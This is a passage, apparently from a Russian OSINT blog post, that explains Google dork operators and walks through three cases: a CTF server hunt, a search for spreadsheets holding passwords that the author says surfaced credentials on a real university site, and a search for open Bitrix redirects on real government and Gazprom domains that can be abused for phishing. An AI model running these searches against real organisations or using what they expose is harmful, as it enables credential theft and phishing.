      &lt;li id=&quot;KFsI&quot;&gt;&lt;strong&gt;&lt;code&gt;site:&lt;/code&gt;&lt;/strong&gt;: Ограничьте результаты только определенным сайтом.&lt;/li&gt;
      &lt;ul id=&quot;BBFI&quot;&gt;
        &lt;li id=&quot;Bu90&quot;&gt;Пример: &lt;code&gt;site:wikipedia.org&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;gdye&quot;&gt;
      &lt;li id=&quot;XvWy&quot;&gt;&lt;strong&gt;&lt;code&gt;intitle:&lt;/code&gt;&lt;/strong&gt;: Найдите страницы с определенным словом в названии.&lt;/li&gt;
      &lt;ul id=&quot;Ae30&quot;&gt;
        &lt;li id=&quot;PV2a&quot;&gt;Пример: &lt;code&gt;intitle:&amp;quot;index of&amp;quot;&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;dEYt&quot;&gt;
      &lt;li id=&quot;fYKr&quot;&gt;&lt;strong&gt;&lt;code&gt;inurl:&lt;/code&gt;&lt;/strong&gt;: Найдите URL-адреса, содержащие определенное слово.&lt;/li&gt;
      &lt;ul id=&quot;F6oB&quot;&gt;
        &lt;li id=&quot;tOj5&quot;&gt;Пример: &lt;code&gt;inurl:admin&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;qKWT&quot;&gt;
      &lt;li id=&quot;iEhh&quot;&gt;&lt;strong&gt;&lt;code&gt;filetype:&lt;/code&gt;&lt;/strong&gt;: Выполняйте поиск по определенным типам файлов.&lt;/li&gt;
      &lt;ul id=&quot;Bi4g&quot;&gt;
        &lt;li id=&quot;FFW2&quot;&gt;Пример: &lt;code&gt;filetype:pdf&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;ZAnE&quot;&gt;
      &lt;li id=&quot;e7iP&quot;&gt;&lt;strong&gt;&lt;code&gt;link:&lt;/code&gt;&lt;/strong&gt;: Найдите страницы, которые ссылаются на определенный URL.&lt;/li&gt;
      &lt;ul id=&quot;1zS0&quot;&gt;
        &lt;li id=&quot;AACy&quot;&gt;Пример: &lt;code&gt;link:example.com&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;WmE8&quot;&gt;
      &lt;li id=&quot;fPBv&quot;&gt;&lt;strong&gt;&lt;code&gt;define:&lt;/code&gt;&lt;/strong&gt;: Получите определения слов.&lt;/li&gt;
      &lt;ul id=&quot;JlxE&quot;&gt;
        &lt;li id=&quot;lZVX&quot;&gt;Пример: &lt;code&gt;define:osint&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
  &lt;/ul&gt;
  &lt;h2 id=&quot;s43k&quot;&gt;Кейсы и применениие Google Dorks&lt;/h2&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;4K4Q&quot;&gt;Внимание! Автор этой статьи не несет ответственности за какие-либо действия, предпринятые читателями на основе предоставленной информации. Эта статья была создана исключительно в образовательных целях. Рассмотренные методы и примеры призваны продемонстрировать возможности и риски, связанные с Google Dorking.&lt;/p&gt;
  &lt;/section&gt;
  &lt;h3 id=&quot;ztkG&quot;&gt;Кейс 1 (kingstonű):&lt;/h3&gt;
  &lt;p id=&quot;frYb&quot;&gt;Хоть и в названии данной техники есть название «Google», одним им дело не заканчивается. Дело в том, что результаты поиска в подобных системах зависят от многих факторов, например, того же местоположения. За примерами далеко ходить не надо. На последних соревнованиях, в которых я участвовал, был трек, посвящённый именно OSINT. Я в нём хоть и не участвовал, но участвовала моя знакомая, от которой я и получил этот кейс.&lt;/p&gt;
  &lt;p id=&quot;fI19&quot;&gt;&lt;strong&gt;Было дано задание&lt;/strong&gt;: «Вас просят найти файл с названием Kingstonű, вы знаете, что он находится на Twonky Server. Найдите и укажите IP-адрес сервера с его портом».&lt;/p&gt;
  &lt;p id=&quot;Kr2H&quot;&gt;Разумеется, первым делом приходит в голову следующий дорк (ну, по крайней мере мне):&lt;/p&gt;
  &lt;pre id=&quot;EToC&quot;&gt;intext:kingstonű Twonky Server&lt;/pre&gt;
  &lt;p id=&quot;e67i&quot;&gt;Но он не сработал. Тогда мы начали перебирать другие варианты, и все они приводили к неудаче. &lt;/p&gt;
  &lt;blockquote id=&quot;LL64&quot;&gt;Ps: Сейчас, когда я пишу эту статью, Google без проблем нашёл этот сервер. :)&lt;br /&gt;      Возможно, проблема заключалась именно в использовании сети от&lt;br /&gt;      организаторов мероприятия.&lt;/blockquote&gt;
  &lt;p id=&quot;0kat&quot;&gt;Вбив поисковый запрос, даже проще, чем был.&lt;/p&gt;
  &lt;pre id=&quot;6DUH&quot;&gt;&amp;quot;kingstonű&amp;quot; Twonky Server&lt;/pre&gt;
  &lt;p id=&quot;ZQZd&quot;&gt;Получаем следующую выдачу:&lt;/p&gt;
  &lt;figure id=&quot;THDu&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ea/3a/ea3abda7-1f0a-41f3-9118-27e8791cd698.png&quot; width=&quot;1919&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;A7Lx&quot;&gt;Таск можно считать выполненным.&lt;/p&gt;
  &lt;h3 id=&quot;fkcz&quot;&gt;Кейс 2 (Оцениваем достижения студентов):&lt;/h3&gt;
  &lt;p id=&quot;6032&quot;&gt;Частенько из-за банальной невнимательности или же халатности иногда файлы, содержащие пароли, оказываются в открытом виде на сайтах. Естественно, поисковики своими ботами подхватывают и индексируют эти файлы. &lt;/p&gt;
  &lt;p id=&quot;112i&quot;&gt;Пароли могут быть в различных типах файлов. Наиболее вероятно, что они будут содержаться в следующих: xls, xml, txt, csv, sql, bak, json, log.&lt;/p&gt;
  &lt;p id=&quot;TPWr&quot;&gt; Попробуем выполнить поиск паролей в xls:&lt;/p&gt;
  &lt;pre id=&quot;vdlb&quot;&gt;filetype:xls password&lt;/pre&gt;
  &lt;figure id=&quot;Kte5&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d9/91/d991bca7-2dfa-40d9-9ce0-aaf34a4c19ec.png&quot; width=&quot;1919&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;yZse&quot;&gt;В результате получаем достаточно электронных таблиц, среди которых вперемешку с обычными документами, которые просто упоминают слово «password», действительно имеются документы, содержащие логины и пароли от различных систем. На скриншоте выше видно документ выпускного фияла НИТУ МИСиС, который содержит учётные данные от «Единого портала интернет-тестирования в сфере образования» (&lt;a href=&quot;https://i-exam.ru/&quot; target=&quot;_blank&quot;&gt;https://i-exam.ru/&lt;/a&gt;). Не знаю, действительно ли задумывалось, что эти данные будут храниться открыто, но как по мне, странновато.&lt;/p&gt;
  &lt;figure id=&quot;9VVH&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/70/9b/709bf2f2-e335-4e11-9bf2-cab10d99e146.png&quot; width=&quot;1919&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;cl4O&quot;&gt;Так же можно сузить круг поиска если уточнить какой именно сайт мы исследуем. Я решил поискать ещё доки с такими паролями на сайте НИТУ МИСиС:&lt;/p&gt;
  &lt;pre id=&quot;Hkgx&quot;&gt;site:vf.misis.ru filetype:xls password&lt;/pre&gt;
  &lt;figure id=&quot;lX4Q&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3a/c2/3ac2e0a5-ef26-4407-8bf9-fe5782702d95.png&quot; width=&quot;1919&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;itXf&quot;&gt;В результате мы видим тот же документ, что мы и видели до этого, и он один, что ещё больше наталкивает на мысль, что это тут лежать не должно.&lt;/p&gt;
  &lt;h3 id=&quot;HWFN&quot;&gt;Кейс 3 (Ловись рыбка):&lt;/h3&gt;
  &lt;p id=&quot;Jnip&quot;&gt;Хоть речь сегодня идёт не о социальной инженерии, но мы всё равно её коснёмся. Я думаю, не стоит объяснять, что такое фишинг. На сегодняшний день мы встречаемся с ним довольно часто. В основном это замаскированные ссылки под легальные сайты, по типу банков, ответов на ЕГЭ и много чего прочего. Об этом вы можете почитать на канале &lt;a href=&quot;https://t.me/trueosint&quot; target=&quot;_blank&quot;&gt;TrueOSINT&lt;/a&gt;, там достаточно различных кейсов.&lt;/p&gt;
  &lt;p id=&quot;d4l0&quot;&gt;Естественно, чтобы человек повёлся на такую ссылку, нужно её грамотно замаскировать, заранее зарезервировав домен, похожий на настоящий. А что, если я скажу, что можно использовать и реальный домен, и сайт компании? Дело всё в прямых редиректах Bitrix, которые позволяют сделать перенаправление с легального сайта на фишинговый, и при этом ссылка, по которой будет переходить жертва, не будет вызывать подозрений (т. к. начало её вполне легальное). &lt;/p&gt;
  &lt;p id=&quot;Hfam&quot;&gt;Давайте поищем такие ссылки:&lt;/p&gt;
  &lt;pre id=&quot;S7WB&quot;&gt;inurl:bitrix/redirect.php *&lt;/pre&gt;
  &lt;figure id=&quot;XK9E&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c4/f3/c4f3209f-dc38-471e-a504-fef29e8a4706.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;dyEO&quot;&gt;Первая интересная ссылка, которая мне попалась, — сайта «Федерального государственного унитарного предприятия «Президент-Сервис» Управления делами Президента Российской Федерации» (&lt;a href=&quot;https://prsr.ru/&quot; target=&quot;_blank&quot;&gt;https://prsr.ru/&lt;/a&gt;). &lt;/p&gt;
  &lt;figure id=&quot;zSMN&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/36/df/36df940b-e298-4aee-be4c-710abb98cb6b.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;YAhZ&quot;&gt;Только выше я указал реальную ссылку, а вот как выглядит ссылка из поисковика:&lt;/p&gt;
  &lt;figure id=&quot;uZSQ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f1/5e/f15eb3a0-a189-4bfc-a19b-078461c70489.png&quot; width=&quot;470&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;2OoH&quot;&gt;Здесь всё же чуть-чуть заметна вторая часть ссылки из-за того, что сам домен короткий. При переходе по ней мы получаем следующую картину.&lt;/p&gt;
  &lt;figure id=&quot;SKzO&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/23/82/238281e2-aa3f-4b74-a5b7-352647123094.png&quot; width=&quot;1024&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Ig6N&quot;&gt;В этом случае это просто реклама взломанной версии игры сомнительного качества и такого же сомнительного уровня безопасности, вполне возможно, что вирус. &lt;/p&gt;
  &lt;p id=&quot;Zdph&quot;&gt;Второй сайт в нашем мини-обзоре — это домен «Газпром энергосбыта» (&lt;a href=&quot;http://mrg-sbyt.ru/&quot; target=&quot;_blank&quot;&gt;http://mrg-sbyt.ru/&lt;/a&gt;). Данный домен при простом переходе редиректит на основной сайт Газпрома (&lt;a href=&quot;https://energosbyt.gazprom.ru/&quot; target=&quot;_blank&quot;&gt;https://energosbyt.gazprom.ru/&lt;/a&gt;), но только ли на него? Нет :)&lt;/p&gt;
  &lt;p id=&quot;zHuy&quot;&gt;С помощью того же дорка с уточнением сайта (флаг «site:»), я смог найти настолько много левых редиректов на различного рода сайты, что у меня не хватило терпения долистать до конца. Большая часть представляла собой перенаправление на покупку чего-либо и 18+ сайты. Скринов, естественно, прикреплять не буду. &lt;/p&gt;
  &lt;figure id=&quot;XpZx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/12/5d/125dfcd1-7c46-4e8c-b7aa-c6dc59884a31.png&quot; width=&quot;751&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;MfYS&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/88/45/8845038f-af3e-48e6-a2a5-1fd7c25c6bad.png&quot; width=&quot;1917&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;cjs5&quot;&gt;Сейчас эту проблему решают либо отключением редиректов, либо настраивают так, чтобы Битрикс сообщал о редиректе пользователю и требовал подтвердить его ещё одним нажатием на ссылку, но некоторых пользователей не всегда останавливает подобное. &lt;/p&gt;
  &lt;h2 id=&quot;43zV&quot;&gt;Заключение&lt;/h2&gt;
  &lt;p id=&quot;7liv&quot;&gt;В этой статье мы рассмотрели самую основу, что такое Google Dorking и как он применяется на примерах, но это лишь первая часть этой темы. Во второй части мы рассмотрим ещё несколько уже специфичных поисковых систем, с которыми обычный интернет-пользователь редко сталкивается, если сталкивается вообще. &lt;/p&gt;
  &lt;p id=&quot;luKe&quot;&gt;Спасибо за прочтение! &lt;/p&gt;
  &lt;tt-tags id=&quot;r2mv&quot;&gt;
    &lt;tt-tag name=&quot;osint&quot;&gt;#osint&lt;/tt-tag&gt;
    &lt;tt-tag name=&quot;google_dorking&quot;&gt;#google_dorking&lt;/tt-tag&gt;
  &lt;/tt-tags&gt;

</content></entry></feed>